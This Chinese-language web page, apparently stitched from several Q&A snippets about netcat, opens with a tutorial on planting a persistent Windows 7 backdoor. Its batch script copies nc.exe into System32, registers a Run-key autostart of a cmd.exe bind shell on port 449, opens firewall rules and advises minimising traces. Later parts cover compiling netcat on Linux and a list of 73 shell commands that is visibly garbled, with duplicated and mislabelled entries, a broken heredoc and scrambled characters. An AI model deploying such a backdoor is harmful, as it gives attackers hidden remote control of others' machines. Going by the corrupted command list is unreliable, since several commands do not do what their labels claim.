⑴ 如何在Windows，linux中安装后门
0×00 准备工作
假设用户以管理员权限登录系统，在Windows 7系统上使用netcat 创建一个后门。
Netcat 功能比较单一, 缺少了许多我们渗透工作中需要的功能。为此我们将创建一个便携式的工具包来解决这个问题 :
1.下载额外的文件和附加持续.
2.编辑修改指定文件.
3.快速创建执行后门.
4.控制远程服务器并进行恶作剧 ：）
为了便于你第一时间获取到你的工具包，你需要将它放置在一个独立的U盘或者在线服务器上。
便携式工具(Portable Applications)
便携式工具是那些不需要安装就能直接使用的程序，它们往往将所有的执行环境和核心程序本身一同打包成一个独立的文件，方便携带。在独立文件执行的过程中会自行释放额的需求文件，并构建一个可顺利执行目标程序的环境。
1.不依赖特定的dll(dll已经打包)
2.不依赖注册表设置(有可能自行初始化) ，不遗留下任何注册表操作痕迹
3.操作痕迹最小化，尽量避免一切不必要的操作，导致留下过多的系统操作记录
创建 Windows 7 工具集
gVim (跨平台的文本编辑器, 提供强大的命令行操作交互)
Wget (下载 windows 64 位版本)
Netcat
有Kali系统的可以用命令 “find / -name nc.exe”搜索到 http://www.kali.org/ 或者下载已经编译好的版本 http://joncraton.org/blog/46/netcat-for-windows/
0×01初试 Netcat 后门
nc.exe -dLp 449 -e cmd.exe -L 这个选项会开启一个监听服务并等待客户端连接， 在客户端连接成功之后，会提供相应的交互服务。
– p 指定程序监听的端口(非管理员权限只能设置高于1024的端口. 同时不可复用现有端口)
– e 在接收到一个客户端连接后, 会执行一个特定的程序(这里是cmd.exe), 这个程序负责接下来的会话交互(执行客户端后期提交的任何命令)
– d 采取静默监听模式，避免nc运行过程中，产生过多额外的日志信息
Windows 7 后门安装批处理脚本
@echo off
Rem 拷贝文件到系统目录
x "%systemdrive%\%username%\Desktop\nc.exe" "C:
\Windows\System32\" -y
Rem 修改注册表，增加后门自启动代码.
reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t
REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"
Rem 添加防火墙规则，开放监听的449端口，允许外部连接.
netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow
protocol=UDP localport=449
netsh advfirewall firewall add rule name="Rule 35" dir=in action=allow
protocol=TCP localport=449
Rem 添加防火墙规则，允许nc.exe对外提供连接.
netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow
program="C:\windows\system32\nc.exe"
⑵ 什么是Linux系统中nc命令
Linux中nc命令是一个功能强大的网络工具，全称是netcat。
测试使用
在一个终端上 输入内 nc -lk 9999
输入数据。。。
新开容启一个终端
输入 nc ip:9999
就可以看到上一个终端输入的数据
⑶ linux怎么安装netcat
下载
下载的是netcat-0.7.1.tar.gz版本,存放在当前目录下
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/
解压
将 netcat-0.7.1.tar.gz 解压到 /usr/local 目录下
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
重命名
切换到 /usr/local 目录下:cd /usr/local
改名:mv netcat-0.7.1 netcat
配置
切换目录:cd /usr/local/netcat
把文件配置到 /opt/netcat 下,卸载软件时,只要删除这个文件就行了:./configure –prefix=/opt/netcat
编译安装
编译:make
安装:make install
配置环境变量 vim /etc/profile添加以下内容:# set netcat
pathexport NETCAT_HOME=/opt/netcatexport
PATH=$PATH:$NETCAT_HOME/bin保存,退出,并使配置生效:source /etc/profile
验证nc –help
⑷ 如何屏蔽linux操作系统指纹信息被扫描
linux下有个nc命令（即netcat），是用于端口扫描的。 到下面网址下载nc的源代码，自己分析一下吧。
⑸ Linux shell常用命令
Linux shell常用命令汇总
对于经常使用linux系统的博主岩罩来说，基本常用的shell命令是少不了的，下面为大家总结了Linux shell的常用命令，希望对大家有所帮宽枣租助!
1.检查远程端口是否对bash开放：
echo >/dev/tcp/8.8.8.8/53 && echo "open"
2.让进程转入后台慎兆：
Ctrl + z
3、将进程转到前台：
fg
4.产生随机的十六进制数，其中n是字符数：
openssl rand -hex n
5.在当前shell里执行一个文件里的命令：
source /home/user/file.name
6.截取前5个字符：
${variable:0:5}
7.SSH debug 模式:
ssh -vvv user@ip_address
8.SSH with pem key:
ssh user@ip_address -i key.pem
9.用wget抓取完整的网站目录结构，存放到本地目录中：
wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs
10.一次创建多个目录：
mkdir -p /home/user/{test,test1,test2}
11.列出包括子进程的进程树：
ps axwef
12.创建 war 文件:
jar -cvf name.war file
13.测试硬盘写入速度：
dd if=/dev/zero of=/tmp/output.img bs=8k count=256k; rm -rf /tmp/output.img
14.测试硬盘读取速度：
hdparm -Tt /dev/sda
15.获取文本的md5 hash：
echo -n "text" | md5sum
16.检查xml格式：
xmllint --noout file.xml
17.将tar.gz提取到新目录里：
tar zxvf package.tar.gz -C new_dir
18.使用curl获取HTTP头信息：
curl -I http://www.example.com
19.修改文件或目录的时间戳(YYMMDDhhmm):
touch -t 0712250000 file
20.用wget命令执行ftp下载：
wget -m ftp://username:password@hostname
21.生成随机密码(例子里是16个字符长):
LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;
22.快速备份一个文件：
cp some_file_name{,.bkp}
23.访问Windows共享目录：
smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir
24.执行历史记录里的命令(这里是第100行):
!100
25.解压:
unzip package_name.zip -d dir_name
26.输入多行文字(CTRL + d 退出):
cat > test.txt
27.创建空文件或清空一个现有文件：
\> test.txt
28.与Ubuntu NTP server同步时间：
ntpdate ntp.ubuntu.com
29.用netstat显示所有tcp4监听端口：
netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*'
30.qcow2镜像文件转换：
qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \precise-server-cloudimg-amd64-disk1.raw
31.重复运行文件，显示其输出(缺省是2秒一次)：
watch ps -ef
32.所有用户列表：
getent passwd
33.Mount root in read/write mode:
mount -o remount,rw /
34.挂载一个目录(这是不能使用链接的情况):
mount --bind /source /destination
35.动态更新DNS server:
nsupdate < <eof p=""> </eof>
update add $HOST 86400 A $IP
send
EOF
36.递归grep所有目录：
grep -r "some_text" /path/to/dir
37.列出前10个最大的文件：
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail
39.打开Vim并跳到文件末：
vim + some_file_name
40.Git 克隆指定分支(master):
git clone [email protected]:name/app.git -b master
41.Git 切换到其它分支(develop):
git checkout develop
42.Git 删除分支(myfeature):
git branch -d myfeature
43.Git 删除远程分支
git push origin :branchName
44.Git 将新分支推送到远程服务器：
git push -u origin mynewfeature
45.打印历史记录中最后一次cat命令：
!cat:p
46.运行历史记录里最后一次cat命令：
!cat
47.找出/home/user下所有空子目录:
echo >/dev/tcp/8.8.8.8/53 && echo "open"
1.检查远程端口是否对bash开放：
find /home/user -maxdepth 1 -type d -empty
48.获取test.txt文件中第50-60行内容：
< test.txt sed -n '50,60p'
49.运行最后一个命令(如果最后一个命令是mkdir /root/test, 下面将会运行: sudo mkdir /root/test)：
sudo !!
50.创建临时RAM文件系统 – ramdisk (先创建/tmpram目录):
mount -t tmpfs tmpfs /tmpram -o size=512m
51.Grep whole words:
grep -w "name" test.txt
52.在需要提升权限的.情况下往一个文件里追加文本：
echo "some text" | sudo tee -a /path/file
53.列出所有kill signal参数:
kill -l
54.在bash历史记录里禁止记录最后一次会话：
kill -9 $$
55.扫描网络寻找开放的端口：
nmap -p 8081 172.20.0.0/16
56.设置git email:
git config --global user.email "[email protected]"
57.To sync with master if you have unpublished commits:
git pull --rebase origin master
58.将所有文件名中含有”txt”的文件移入/home/user目录:
find -iname "*txt*" -exec mv -v {} /home/user \;
59.将文件按行并列显示：
paste test.txt test1.txt
60.shell里的进度条:
pv data.log
61.使用netcat将数据发送到Graphite server:
echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000
62.将tabs转换成空格：
expand test.txt > test1.txt
63.Skip bash history:
< space >cmd
64.去之前的工作目录：
cd -
65.拆分大体积的tar.gz文件(每个100MB)，然后合并回去：
split –b 100m /path/to/large/archive /path/to/output/files
cat files* > archive
66.使用curl获取HTTP status code:
curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null
67.设置root密码，强化MySQL安全安装:
/usr/bin/mysql_secure_installation
68.当Ctrl + c不好使时:
Ctrl + \
69.获取文件owner:
stat -c %U file.txt
70.block设备列表：
lsblk -f
71.找出文件名结尾有空格的文件：
find . -type f -exec egrep -l " +$" {} \;
72.找出文件名有tab缩进符的文件
find . -type f -exec egrep -l $'\t' {} \;
73.用”=”打印出横线:全选复制放进笔记
printf '%100s\n' | tr ' ' = ;